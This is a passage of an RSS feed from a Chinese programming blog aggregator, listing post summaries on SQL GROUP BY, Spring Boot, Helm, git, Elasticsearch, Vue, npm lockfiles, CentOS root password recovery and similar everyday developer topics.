      <description>一、groupby详解 上周五同组同事有一个关于sql的bug,经leader看完后大体定位在group by语句用法错误。然后leader把我叫上一起，询问我们关于group by的用法。而我当时脑子非常空，其实感觉group by在脑子就只有一种去重的大致概念。真正用的时候其实大概率还是靠度娘，所以久久答不上来，所以特来重新学习下group by语句。 group_by的意思是根据by对数据按照哪个字段进行分组，或者是哪几个字段进行分组。&#xA;二、groupby语法 select 字段 from 表名 where 条件 group by 字段&#xA;或者&#xA;select 字段 from 表名 group by 字段 having 过滤条件&#xA;注意：对于过滤条件，可以先用where，再用group by或者是先用group by，再用having（唯一的差别是WHERE过滤行，HAVING过滤组）HAVING支持所有WHERE操作符。&#xA;三. 案例 1 、创建表格并插入数据&#xA;说明：在navicat上创建表格并插入数据，以便下面进行简单字段分组以及多个字段分组，同时还结合聚合函数进行运算。&#xA;创建student表&#xA;CREATE TABLE `student` ( `id` bigint(20) NOT NULL COMMENT &#39;主键&#39;, `name` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;姓名&#39;, `grade` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;年级&#39;, `salary` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;薪水&#39;, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; 在student表中插入数据</description>
    </item>
    <item>
      <title>【踩坑系列】 SpringBoot ，SpringSecurity，activiti 项目无法正常跳转到登录界面</title>
      <link>https://bchobby.github.io/posts/07f3d5fe24ceeb5f5f846539afb8bd1e/</link>
      <pubDate>Mon, 11 Jul 2022 09:55:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07f3d5fe24ceeb5f5f846539afb8bd1e/</guid>
      <description>【踩坑系列】 SpringBoot ，SpringSecurity，activiti 项目无法正常跳转到登录界面 前言 一直强制跳转到springSecurity 的默认的登录界面，无法正常跳转到自己项目的登录界面以及自己的LoginController 没有执行。&#xA;接手的其他项目，项目中登录一直用的Shiro,pom 文件中也没有搜到有SpringSecurity的依赖，定位这个问题的bug 花费了挺长时间，在&#xA;才找到有引入SpringSecurity 的jar 包&#xA;问题原因 1.项目中有用Activiti&#xA;项目中引入SpringSecurity 的依赖 所以SpringBoot中的Application 的启动类中 SecurityAutoConfiguration 有两个&#xA;org.activiti.spring.boot.SecurityAutoConfiguration.class, org.springframework.boot.autoconfigure.security.servlet.SecurityAutoConfiguration.class 解决方案 @EnableScheduling @EnableTransactionManagement @ConfigurationPropertiesScan @SpringBootApplication(exclude = {org.activiti.spring.boot.SecurityAutoConfiguration.class, org.springframework.boot.autoconfigure.security.servlet.SecurityAutoConfiguration.class}) public class Application extends SpringBootServletInitializer { public static void main(String[] args) { SpringApplication.run(Application.class, args); } @Override protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) { this.setRegisterErrorPageFilter(false); // 错误页面有容器来处理，而不是SpringBoot return builder.sources(Application.class); } } 最后 可以正常跳转到自己的登录界面</description>
    </item>
    <item>
      <title>VS中使用类图查看和编辑项目中的类结构</title>
      <link>https://bchobby.github.io/posts/e244e8b374e40797e044fa067468fea5/</link>
      <pubDate>Mon, 11 Jul 2022 09:34:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e244e8b374e40797e044fa067468fea5/</guid>
      <description>目录： 前言：安装类设计器配置类设计器到工具栏中在项目中添加类图 前言： VS堪称宇宙第一IDE，那么灵活使用它将是一个非常好地帮手！在许多项目构造时，我们不免要产生许多类和编辑查看他们，所以如果只是一味地去看代码，可能有审美疲劳（大神真的直接看直接理解emo）！所以我们就要好好利用VS给我们提供的类设计器啦，方便快速地去编写和管理项目中的类！&#xA;类图比较类似统一建模语言(UML)，大家可以百度下！&#xA;安装类设计器 首先打开你的VS项目程序页面！&#xA;接上面一步后，会跳出Visual Studio Installer窗口的正在修改窗口，如下图（由于之前我已经安装过，所以没显示下载安装，但是so easy啦）！&#xA;安装成功后，就可以利用类设计器来方便地去生成项目中对应的类图，管理好我们编写的类！ 配置类设计器到工具栏中 我们还不能直接使用它，还需要做一些配置，将类图设置编辑的功能菜单项添加到工具栏中，下面是我们没配置好的工具栏菜单！&#xA;勾选后可以看到VS项目工具栏中新增了如下菜单项（是编辑类设计器生成的类图的功能菜单），但是由于我们还没添加好类图文件，所以对应菜单项还是虚空状态 ：&#xA;在项目中添加类图 为了方便说明，这里不列举建造类的过程，但是你应该有个项目程序有两个类以上（最好有父类和子类）！&#xA;添加类图文件 将项目拉到类设计器界面（类图界面）&#xA;关于类图的编辑和基于类图添加字段，方法等等以后有空才更新了！请各位朋友稍后下！&#xA;最后，文中若有不足，敬请批评指正！</description>
    </item>
    <item>
      <title>Helm-chart学习-简单介绍与使用</title>
      <link>https://bchobby.github.io/posts/efaae0a3da084b3521b66f9e57128379/</link>
      <pubDate>Mon, 11 Jul 2022 01:29:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efaae0a3da084b3521b66f9e57128379/</guid>
      <description>目录&#xA;为什么需要Helm？直接kubectl有什么问题吗？&#xA;Helm介绍&#xA;Helm基本使用&#xA;Helm模板设置 流程控制&#xA;Chart模板：命名模板&#xA;写一个通用的Chart&#xA;使用Harbor作为Chart仓库&#xA;为什么需要Helm？直接kubectl有什么问题吗？ 常规K8s部署应用方式：将需要的资源编写YAML文件，然后apply -f进行部署，当然也有使用图形界面操作的，这里不做讨论。 例如部署一个常规web程序，一般我们需要部署deployment、service、ingress资源。 Deployment.yaml&#xA;apiVersion: apps/v1 kind: Deployment metadata: name: web namespace: default spec: replicas: 3 selector: matchLabels: app: web template: metadata: labels: app: web spec: containers: - name: web image: nginx:1.19 ports: - containerPort: 80 Service.yaml&#xA;apiVersion: v1 kind: Service metadata: labels: app: web name: web spec: ports: - port: 80 protocol: TCP targetPort: 8080 selector: app: web Ingress.</description>
    </item>
    <item>
      <title>leetcode295 一道题认识大顶堆和小顶堆</title>
      <link>https://bchobby.github.io/posts/8d7c2c376d14b14101fc3d78918b1467/</link>
      <pubDate>Mon, 11 Jul 2022 01:03:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d7c2c376d14b14101fc3d78918b1467/</guid>
      <description>LC295：数据流的中位数&#xA;简单来说就是计算中位数。&#xA;这里采用大顶堆和小顶堆来分别存储中位数的两边。&#xA;1 堆排序 堆排序(Heap Sort)是利用堆这种数据结构所设计的一种排序算法。&#xA;堆：是一棵完全二叉树的结构，并且满足堆积的性质：每个节点(叶节点除外)的值都大于等于(或都小于等于)它的子节点。&#xA;堆排序先按从上到下、从左到右的顺序将待排序列表中的元素构造成一棵完全二叉树，然后对完全二叉树进行调整，使其满足:&#xA;堆积的性质：每个节点(叶节点除外)的值都大于等于(或都小于等于)它的子节点。&#xA;构建出堆后，将堆顶与堆尾进行交换，然后将堆尾从堆中取出来，取出来的数据就是最大(或最小)的数据。重复构建堆并将堆顶和堆尾进行交换，取出堆尾的数据，直到堆中的数据全部被取出，列表排序完成。&#xA;堆结构分为大顶堆和小顶堆：&#xA;大顶堆：每个节点(叶节点除外)的值都大于等于其子节点的值，根节点的值是所有节点中最大的，所以叫大顶堆，在堆排序算法中用于升序排列（因为尾部取出，从小的开始）。&#xA;小顶堆：每个节点(叶节点除外)的值都小于等于其子节点的值，根节点的值是所有节点中最小的，所以叫小顶堆，在堆排序算法中用于降序排列。&#xA;2 大顶/小顶堆创建和排序 python.heapq创建小顶堆 使用heapq库创建小顶堆。&#xA;创建函数有两个，heapq.heappush和heapq.heapify。前者逐个构建，后者一次性构建。&#xA;# coding=utf-8 import heapq array = [10, 17, 50, 7, 30, 24, 27, 45, 15, 5, 36, 21] heap = [] for num in array: heapq.heappush(heap, num) print(&#34;array:&#34;, array) print(&#34;heap1: &#34;, heap) heapq.heapify(array) print(&#34;heap2:&#34;, array) 得到：&#xA;array: [10, 17, 50, 7, 30, 24, 27, 45, 15, 5, 36, 21] heap1: [5, 7, 21, 15, 10, 24, 27, 45, 17, 30, 36, 50] heap2: [5, 7, 21, 10, 17, 24, 27, 45, 15, 30, 36, 50] heap1:</description>
    </item>
    <item>
      <title>git pull指令报错：error: You have not concluded your merge (MERGE_HEAD exists).</title>
      <link>https://bchobby.github.io/posts/a02497265ad779ec38b04604b554dc5d/</link>
      <pubDate>Sun, 10 Jul 2022 18:11:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a02497265ad779ec38b04604b554dc5d/</guid>
      <description>使用git pull 指令时报错：error: You have not concluded your merge (MERGE_HEAD exists).&#xA;直接翻译上面的报错信息可知：&#xA;错误：您尚未结束合并（merge_HEAD存在）。&#xA;提示：请在合并之前提交您的更改。&#xA;致命：由于未完成合并而退出。&#xA;通过上面的信息多少知道了自己错误的根源。&#xA;首先我本地是有一些已经commit的代码，但是还没有push到远程。&#xA;我在git pull指令执行之后，从远程拉取代码到本地，会自动执行一个merge操作，如果有冲突，就会merge失败，正常情况下，第一次pull会显示merge失败的文件，然后让你手动去修改。&#xA;但是我看冲突文件有点多，就执行了放弃所有更改，大概就是git checkout . 指令，清除了本地冲突的文件，这时候应该还是在merge的过程中，也就是当前merge还未结束，结果再次git pull的时候就报错了。&#xA;解决方法：放弃本次merge操作，然后重新pull代码，手动修改冲突代码，合并上传。&#xA;git merge --abort // 终止合并 git reset --merge // 重置合并 git pull&#x9;// 重新拉取代码 建议：&#xA;大家在使用git pull的时候，本地不要有修改的代码且未提交，如果修改的代码就是不需要提交的代码，可以使用git stash暂存起来，等执行完git操作且没有问题后，使用git stash apply还原到本地即可。</description>
    </item>
    <item>
      <title>Springboot中数据库连接</title>
      <link>https://bchobby.github.io/posts/19d5fd8d9fb3a9514698a46476ad5ec3/</link>
      <pubDate>Sun, 10 Jul 2022 15:52:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19d5fd8d9fb3a9514698a46476ad5ec3/</guid>
      <description>Springboot中数据库连接 一.jdbc的方式连接 1.配置jdbc连接文件&#xA;spring: datasource: username: root password: 123123 url: jdbc:mysql://localhost:3306/mybatis?useUnicode=true&amp;amp;characterEncoding=utf-8 driver-class-name: com.mysql.jdbc.Driver 2.直接controller操作crud&#xA;package com.springboot.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import java.util.List; import java.util.Map; /** * @author panglili * @create 2022-07-10-10:27 */ @Controller public class JdbcController { @Autowired(required = false) JdbcTemplate jdbcTemplate; @GetMapping(&#34;/sql&#34;) @ResponseBody public List&amp;lt;Map&amp;lt;String,Object&amp;gt;&amp;gt; mapList(){ String sql=&#34;select * from user&#34;; List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; queryForList = jdbcTemplate.queryForList(sql); return queryForList; } } 二.mybatis连接 1.导入依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.</description>
    </item>
    <item>
      <title>进入centos7 紧急模式重置root密码</title>
      <link>https://bchobby.github.io/posts/1462382467105dd9a6b3640b7355df7e/</link>
      <pubDate>Sun, 10 Jul 2022 15:35:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1462382467105dd9a6b3640b7355df7e/</guid>
      <description> 实战场景 公司一台centos7系统，忘记root密码了，需要快速把root密码修改为zhaogeHYZ，找回root身份。&#xA;重置步骤 重启系统，出现如下界面，选择第一项，并按E键进行编辑；&#xA;在显示内容中，找到 ro 并修改为 rw init=/sysroot/bin/sh&#xA;修改后&#xA;改完之后，按下Ctrl+X进入紧急模式；（原理：启动一个shell环境，系统并没有真正的启动）&#xA;在紧急模式下，输入如下命令，进行root密码重置； chroot /sysroot #chroot命令用来在指定的根目录下运行指令 passwd #修改密码 Changing password for user root. New password : zhaogeHYZ #重置并输入新密码，输入时并不显示密码 Retype new password : zhaogeHYZ&#x9;#再次输入重置的新密码，输入时并不显示密码 passwd : all authentication tokens updated successfully. #提示成功 touch /.autorelabel #更新系统信息,否则重启之后密码修改不会生效 exit&#x9;#退出当前根目录 reboot&#x9;#重启系统 6. 利用重置后的新密码成功登录系统；&#xA;拓展说明 如果系统的selinux开启着，则需要执行命令： touch /.autorelabel&#xA;在不知道系统是否开启selinux时，默认还是直接执行此命令。&#xA;END! </description>
    </item>
    <item>
      <title>Maven打包报错：[WARNING] The POM for xxx is missing, no dependency inform</title>
      <link>https://bchobby.github.io/posts/fb9cc4cb0e89584a8ec06bc026050cd2/</link>
      <pubDate>Sun, 10 Jul 2022 00:00:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb9cc4cb0e89584a8ec06bc026050cd2/</guid>
      <description>1.问题出现&#xA;使用Maven创建的一个多模块项目，一个service_activity模块，一个service_user模块，一个service_client模块，service_activity模块依赖于service_client模块，且他们都是parent的子模块。&#xA;其中service_activity模块远程调用service_user模块，service_user模块采用service_client模块委托接口，service_activity模块在pom中引入依赖service_user_client&#xA;service_activity模块在pom中引入依赖&#xA;出现问题：The POM for com.mxc:service_user_client:jar:1.0-SNAPSHOT is missing, no dependency information available&#xA;解决：&#xA;原因是因为maven工程注入时没有更新引入，可以将被引入依赖的子模块的父模块重新安装（install）如下图---》&#xA;重新安装service_client模块的maven依赖后，再对service_activity模块重新安装（install），此时如果正常运行就解决问题，如果还是不行，则把总项目再重新安装一次，若还不行，重启idea（重启大法好！），重复上述操作，99%的情况就可以了··==~~&#xA;有帮助的话，麻烦点个赞哦~~~~~~~完结撒花~~~</description>
    </item>
    <item>
      <title>【JAVA基础】两种文件读写方法</title>
      <link>https://bchobby.github.io/posts/0446af69f557a6c2c3f8646c1fd4553b/</link>
      <pubDate>Sat, 09 Jul 2022 22:55:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0446af69f557a6c2c3f8646c1fd4553b/</guid>
      <description>前言&#xA;按读写方法，对文件的读写操作方法有以下几种类型：&#xA;1、以字节方式读写，适合所有文件类型；&#xA;2、以字符方式单个或按行读写，适合文本文件。&#xA;目录&#xA;一、FileInputStream和FileOutputStream用法&#xA;这里仅介绍使用2种常用的文件读写方法：字节方式读写和按行读写：FileInputStream、FileOutputStream&#xA;一、FileInputStream和FileOutputStream用法 1、新建工程：FileOperation&#xA;2、新建包：&#xA;3、创建文件读写的工具类：FileOperation&#xA;代码如下：&#xA;package com.my.file; import java.io.*; /** * 文件读写操作类 */ public class FileOperation { /** * 根据输入的文件路径读取文件内容，仅支持读取文本文件。 * @param filePath * @return */ public static String readFromFile(String filePath){ //输入检查：如果输入的文件不存在则返回空字符串 File file = new File(filePath); if (!file.isFile()){ return &#34;&#34;; } //开始读取文件 String result = &#34;&#34;; //读文件的缓存 byte[] temp = new byte[1024]; try { FileInputStream fis = new FileInputStream(file); // 使用 循环读取, FileInputStream的read方法，会一次读取内容放到temp。 // 读取内容的多少根据temp定义的大小而定。如果没有数据可读了，read方法会返回-1.</description>
    </item>
    <item>
      <title>socket.io介绍</title>
      <link>https://bchobby.github.io/posts/085b35ce0274376931c58f0e1e42d652/</link>
      <pubDate>Sat, 09 Jul 2022 22:13:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/085b35ce0274376931c58f0e1e42d652/</guid>
      <description>Socket.IO 是一个库，可以在客户端和服务器之间实现低延迟、双向和基于事件的通信。它建立在 WebSocket 协议之上，并提供额外的保证，例如回退到 HTTP 长轮询或自动重新连接。&#xA;几种可用的 Socket.IO 服务器实现：&#xA;Java：https://github.com/mrniko/netty-socketio&#xA;Java：https://github.com/trinopoty/socket.io-server-java&#xA;Python：https://github.com/miguelgrinberg/python-socketio&#xA;Golang：https://github.com/googollee/go-socket.io&#xA;客户端实现：&#xA;Java：https://github.com/socketio/socket.io-client-java&#xA;C++：https://github.com/socketio/socket.io-client-cpp&#xA;swift：https://github.com/socketio/socket.io-client-swift&#xA;Python：https://github.com/miguelgrinberg/python-socketio&#xA;.Net：https://github.com/doghappy/socket.io-client-csharp&#xA;Server (based on websocket的例子):&#xA;import { WebSocketServer } from &#34;ws&#34;; const server = new WebSocketServer({ port: 3000 }); server.on(&#34;connection&#34;, (socket) =&amp;gt; { // send a message to the client socket.send(JSON.stringify({ type: &#34;hello from server&#34;, content: [ 1, &#34;2&#34; ] })); // receive a message from the client socket.on(&#34;message&#34;, (data) =&amp;gt; { const packet = JSON.</description>
    </item>
    <item>
      <title>用for循环实现delay延时原理</title>
      <link>https://bchobby.github.io/posts/32e50831c586ed37e085313fb70e68da/</link>
      <pubDate>Sat, 09 Jul 2022 00:07:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32e50831c586ed37e085313fb70e68da/</guid>
      <description>void Delay10ms(unsigned int c) //误差 0us&#xA;{&#xA;unsigned char a,b;&#xA;for(; c&amp;gt;0; c--) //c可以不用初始化，因为默认传的参数即为初始化&#xA;for(b=38; b&amp;gt;0; b--)&#xA;for(a=130; a&amp;gt;0; a--); //最后一个for循环别忘记有分号&#xA;}&#xA;Delay10ms(100);/表示100个10ms=1s&#xA;//计算方法：c*38*130 us&#xA;以12MHZ的晶振为例，一个for循环2个指令周期，一个指令周期1us，二个指令周期2us。</description>
    </item>
    <item>
      <title>ElasticSearch 搜索引擎</title>
      <link>https://bchobby.github.io/posts/113ee9d736b4f427ca8a04c753fdbc51/</link>
      <pubDate>Fri, 08 Jul 2022 23:00:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/113ee9d736b4f427ca8a04c753fdbc51/</guid>
      <description>简称es,是类似于mysql但是专注于搜索的一种数据库。在elastic stack中占据重要地位。&#xA;倒排索引： 我们的数据库都是正向索引，比如根据id查询数据，那么倒排索引是将关键字进行分词，然后将词条和id保存在一张表中，不同数据分词后有相同的词条的话，就会记录在同一条数据中，并且把id放在一个字段，搜索的时候根据词条先搜索出符合的id,然后根据id查询数据。&#xA;分词器： 下载地址：GitHub - medcl/elasticsearch-analysis-ik: The IK Analysis plugin integrates Lucene IK analyzer into elasticsearch, support customized dictionary.&#xA;进去之后点击右边的版本，就能进去下载，&#xA;#因为启动es时候 已经做好的目录挂载&#xA;容器内部:/usr/share/elasticsearch/plugins 宿主机:/mydata/elasticsearch/plugins&#xA;所以只需要将文件复制到/mydata/elasticsearch/plugins 目录下即可&#xA;然后重启es&#xA;docker restart elasticsearch&#xA;分词器也就是分词的规则，es中有默认的细粒度分词（ik_max_word）和粗粒度分词（ik_smart），细粒度分词比较多，粗粒度分词比较少。&#xA;我们也可以自定义我们想要分出来的词和不想被分出来的词，比如我们自己创建的一个品牌名，就可以自己定义一个分词字典，同样的，不想分词的也会有一个字典。&#xA;想要分出的词就可以写在我们配置文件中的ext.dic字典，不想分出来的就修改sropword.dic字典。&#xA;mapping 属性 mapping属性实际上就是我们mysql中的一个表结构，比如某个字段是什么类型的啊，有什么约束条件啊什么的。&#xA;每创建一个字段都要想下图中的几个条件，什么类型的，是否参与搜索（根据这个判断是否创建倒排索引，默认index为true），使用什么分词器，该字段有没有子字段。&#xA;索引： 索引其实对应的就是mysql中的表，es说要创建个索引，就相当于mysql说，要创建一个表。&#xA;创建索引示例：&#xA;查看和删除索引：&#xA;修改索引库：&#xA;实际上es是不支持修改索引库的，因为带来的影响比较大，尤其是生产环境下。&#xA;但是，虽然不支持修改索引库，但是支持添加一个字段&#xA;文档： 文档，实际上就相当于mysql中的数据。添加文档就是mysql中的添加数据&#xA;这里要说一下，mysql中写的语句叫做sql语句，es中写的语句叫做DSL语句。&#xA;新增文档：&#xA;查看和删除文档：&#xA;修改文档：&#xA;修改文档实际上有两种方法，一种是全量修改，一种就是新增一个文档：&#xA;方式一：他会根据id先找到这个文档，然后删除，再添加新文档&#xA;方式二， 这个就是修改指定的字段，我们可以看到上面的_doc变成了_update ,所以这里就是对某个字段进行修改了&#xA;es查询语句： 查询所有：&#xA;这里的查询类型，之后可以根据自己的条件的不断变化，更换不同的查询类型，这里的math_all就是查询所有，所有里面不需要跟条件 全文检索查询：&#xA;设定的场景就是我们常见的搜索框，根据输入的字段查询匹配的数据。&#xA;match是查询某一个字段中是否包含输入的信息，multi_match是同时查询几个字段中是否包含输入的信息。&#xA;注意：搜索字段越多，查询效率越低，所以我们尽量用一个字段查，之后会学到copy_to,查询一个字段也可以实现多个字段的效果。&#xA;精确查询：&#xA;这里指的就是不被分词的字段，进行精确匹配 ，也就是keyword&#xA;包括term和range: range中gte是大于等于，lte是小于等于 greate/less than equals 地理查询：</description>
    </item>
    <item>
      <title>Linux共享文件夹的建立和使用</title>
      <link>https://bchobby.github.io/posts/b4b5959750cadd7f9e6a31fc55a2736b/</link>
      <pubDate>Fri, 08 Jul 2022 19:23:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4b5959750cadd7f9e6a31fc55a2736b/</guid>
      <description>共享文件夹作用建立window和linux之间的通道，保证文件双方都可以使用&#xA;在window当中建立文件夹对象，例如 WH2208&#xA;在Vmware当中设置共享文件数据&#xA;测试共享文件夹&#xA;首先在共享文件夹里面新建一个txt文本，然后在虚拟机中输入cd /mnt/hgfs/wh2208/ 进入共享文件夹，用ls命令显示里面的内容即可，表示共享文件夹创建成功。文件内容的使用</description>
    </item>
    <item>
      <title>使用dbcc工具根据dbc文件生成CAN报文解析c代码</title>
      <link>https://bchobby.github.io/posts/888c3a2c88b82eb81478d60668ac8ce8/</link>
      <pubDate>Fri, 08 Jul 2022 12:58:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/888c3a2c88b82eb81478d60668ac8ce8/</guid>
      <description>dbcc工具在github上的地址：&#xA;https://github.com/howerj/dbcc&#xA;仓库地址：&#xA;git@github.com:howerj/dbcc.git&#xA;源码下载到Ubuntu后，使用gcc编译即可，编译完成后，就可以在源码当前目录生成dbcc可执行程序。&#xA;编译方法：&#xA;make CC=gcc&#xA;dbcc工具使用方法：&#xA;可以先使用./dbcc -h看下使用帮助说明。&#xA;基本的使用方法是，在dbcc参数中跟上dbc文件即可。例如：./dbcc DBC_FILE&#xA;示例dbc文件（片段）：&#xA;BO_ 2F8 DATE_TIME_SZ: 8 Host SG_ DISP_MILLISEC : 0|44@1+ (1,0) [0|3298534883327] &#34;ms&#34; Vector__XXX BO_ 330 LICENSE: 8 Host SG_ LICENSE_NUMBER : 24|16@1+ (1,0) [0|65535] &#34;&#34; Vector__XXX SG_ LICENSE_EXT : 40|16@1+ (1,0) [0|65535] &#34;&#34; Vector__XXX SG_ LICENSE_CITY : 16|8@1+ (1,0) [0|255] &#34;&#34; Vector__XXX SG_ LICENSE_PROV : 0|16@1+ (1,0) [0|65535] &#34;&#34; Vector__XXX BO_ 19A VEH_INFO: 8 Host SG_ VEH_TYPE : 8|8@1+ (1,0) [0|255] &#34;</description>
    </item>
    <item>
      <title>vue2项目构建过程</title>
      <link>https://bchobby.github.io/posts/90180d744224c1c384a7777383453ed8/</link>
      <pubDate>Fri, 08 Jul 2022 12:58:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90180d744224c1c384a7777383453ed8/</guid>
      <description>VUE项目自定义构建教程 一、vue create demo //初始化项目 下箭头选中Manually select features（手动选择功能），敲击回车。&#xA;Default Vue3 // 默认创建Vue3版本的项目&#xA;Default Vue2 // 默认创建Vue2版本的项目&#xA;二、为你的vue项目添加功能 Check the features needed for your project&#xA;译：检查项目所需的功能&#xA;(Press &amp;lt; space &amp;gt; to select, &amp;lt; a &amp;gt; to toggle all, &amp;lt; i &amp;gt; to invert selection, and &amp;lt; enter &amp;gt; to proceed)&#xA;译：按空格选择，按a全选，按i反选，按回车继续&#xA;注：键盘上下箭头切换，空格进行选择或取消（实心点代表已选择）&#xA;Babel // ES6转ES5&#xA;TypeScript // 使用TypeScript语法（不用选，除非你会TS）&#xA;Progressive Web App (PWA) Support // 渐进式Web应用（添加一些webapp支持、可离线支持，可不选）&#xA;Router // 路由功能（必选）&#xA;Vuex // 状态管理（必选）</description>
    </item>
    <item>
      <title>4、键盘输入10个数，存到数组中，打印奇数位元素的值 注意：如果数组是{10,11,12,13,14,15},则奇数位元素是10，12，14</title>
      <link>https://bchobby.github.io/posts/04a41f2c131fa2d5b747729075576979/</link>
      <pubDate>Fri, 08 Jul 2022 09:56:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04a41f2c131fa2d5b747729075576979/</guid>
      <description> public class demo02 { public static void main(String[] args) { Scanner sc = new Scanner(System.in); int a = 0; for (int i = 1; i &amp;lt;=10 ; i++) { System.out.println(&#34;请输入第&#34;+i+&#34;整数&#34;); int b = sc.nextInt(); if (b%2!=0){ a=a-1; }else{ System.out.println(&#34;------------&#34;); System.out.println(&#34;该数字为&#34;+b+&#34;是奇数&#34;); } } System.out.println(&#34;-------------&#34;); System.out.println(&#34;该数字为&#34;+a); sc.close(); } } </description>
    </item>
    <item>
      <title>package-lock.json冲突及问题排查</title>
      <link>https://bchobby.github.io/posts/7e8b8581edd7f6cb784f4f209e904d1b/</link>
      <pubDate>Thu, 07 Jul 2022 19:09:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e8b8581edd7f6cb784f4f209e904d1b/</guid>
      <description>在合并分支的时候会遇到package-lock.json的冲突，本来刚开始没有在意，认为也没什么。但是直到package-lock.json出现了一大片的冲突时，我才觉得问题是真的有点大。&#xA;问题排查:很大概率是node版本和npm版本的问题。然后问各组员大家的npm版本，发现有两个同事是6.x版本的，而我自己的是7.x版本的npm。经过自己的测试，使用npm i 安装，发现6.x版本的npm安装依赖(package-lock.json)如下：&#xA;但是7.x版本的npm安装的依赖会是有一个packages的东西，这里会把之前安装的依赖都包在这个packages里面。&#xA;所以，如果一个同事安装了一个新的插件，我们用不同版本的npm去安装依赖的话，由于安装的npm版本不同，所以写入的package-lock.json内容也会不同，就会导致package-lock.json文件很多的冲突。&#xA;解决方法: 1.统一node版本和npm版本(至少统一一个大的版本)，且在需要重新安装依赖的时候，使用npm ci的命令去安装。（强烈推荐,npm ci指的是根据package-lock.json去安装对应的版本，不对这个文件做改动）&#xA;2.使用git忽略package-lock.json（不推荐，这样子会导致不能根据安装依赖路径去安装包了）&#xA;补充-npm i 和 npm ci的区别: npm i&#xA;● npm i 将创建node_modules 文件夹并安装所有 package.json 中的依赖。&#xA;● npm i 会更新 package-lock.json 文件(也就是这一步，导致了package-lock-json的冲突，因为npm版本的不同，导致了写入方式不同)。&#xA;适用场景:安装新依赖或者升级已有依赖。&#xA;npm ci&#xA;● npm ci 将删除 node_modules 文件夹以确保干净的环境。&#xA;● npm ci 会依照 package-lock.json 里的依赖版本精准安装。&#xA;● npm ci 强依赖于 package-lock.json，如果 package-lock.json 不存在，npm ci 将不会工作。&#xA;适用场景:在 CI/CD 场景中使用 npm ci 更为合适，一方面，由于 npm ci 依赖于 package-lock.json，依赖版本确保一致，不会出现线上版本和开发版本不一致而引发的问题；另一方面，首次安装时，使用 npm ci 将比 npm i 更加迅速，原因是由于 package-lock.</description>
    </item>
    <item>
      <title>ContextCapture（CC）/Smart3D集群搭建笔记</title>
      <link>https://bchobby.github.io/posts/e046c17ffe139b6032e8437d25125a15/</link>
      <pubDate>Thu, 07 Jul 2022 18:42:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e046c17ffe139b6032e8437d25125a15/</guid>
      <description>ContextCapture/Smart3D集群处理&#xA;1 前言 本文主要记录本人搭建CC集群的过程，以及在搭建过程中遇到的各种麻烦。&#xA;主要参考的文章及资料如下：&#xA;（1）ContextCaptureMaster/Smart3D 集群处理详解&#xA;（2）CC(smart3D)内业工作站集群的搭建方法与操作步骤 很详细的工作站搭建步骤，包括硬件设备的选择及搭配等，但仍未解决我的问题 0_0&#xA;（3）ContextCaptureMaster/Smart3D集群设置经验分享&#xA;（4）访问权限解决&#xA;设备情况：&#xA;两台电脑（一台主机A，一台节点机B），一个交换机，两条网线（本次处于实验过程中，使用八口千兆交换机，六类网线）。&#xA;在实际建模过程中，由主机A来建立工程，节点机B只需要保证Engine的运行即可，因此以下内容主要针对主机A进行描述，节点机的操作与主机类似。&#xA;2 文件共享的设置（局域网搭建） 主要遇到的问题：&#xA;（1）已经完成文件夹及磁盘的共享，但没有权限进行访问；&#xA;（2）完成共享后，在“网络”文件夹下无法查看到共享的文件，因此无法判断是否共享成功；&#xA;（3）如何将共享文件设置为“网络位置”，便于快速进入。&#xA;2.1 检查SMB1.0是否启用 解决主要问题（2）时，进行了此处的设置，但并没解决问题，因此暂时并不知道此步骤的具体影响，但建议进行设置。&#xA;2.2 磁盘及文件夹安全权限设置 主要解决了问题（1）&#xA;本人CC的工程文件及模型的输出目录均存放在主机A的D盘中，航摄像片存放在节点机B的D盘中，因此需要对A、B两台电脑的D盘实现共享；&#xA;主机A装入CC时，任务序列装在了C盘，C盘的安全权限开启较为麻烦，因此只对任务序列所在的文件夹进行共享。&#xA;以上图片步骤解决共享（建立局域网）后访问权限的问题。&#xA;在需要进行共享的磁盘（或文件夹）的属性中，选择“安全”选项卡，然后依照图片步骤进行设置（在第9步后点应用，会有根据文件量有一段时间的等待）。&#xA;2.3 网络共享设置 利用交换机及网线连接好主机A与节点机B之后，进行网络共享权限的设置。&#xA;根据上图进行设置，然后保存更改即可。&#xA;2.4 局域网IP设置 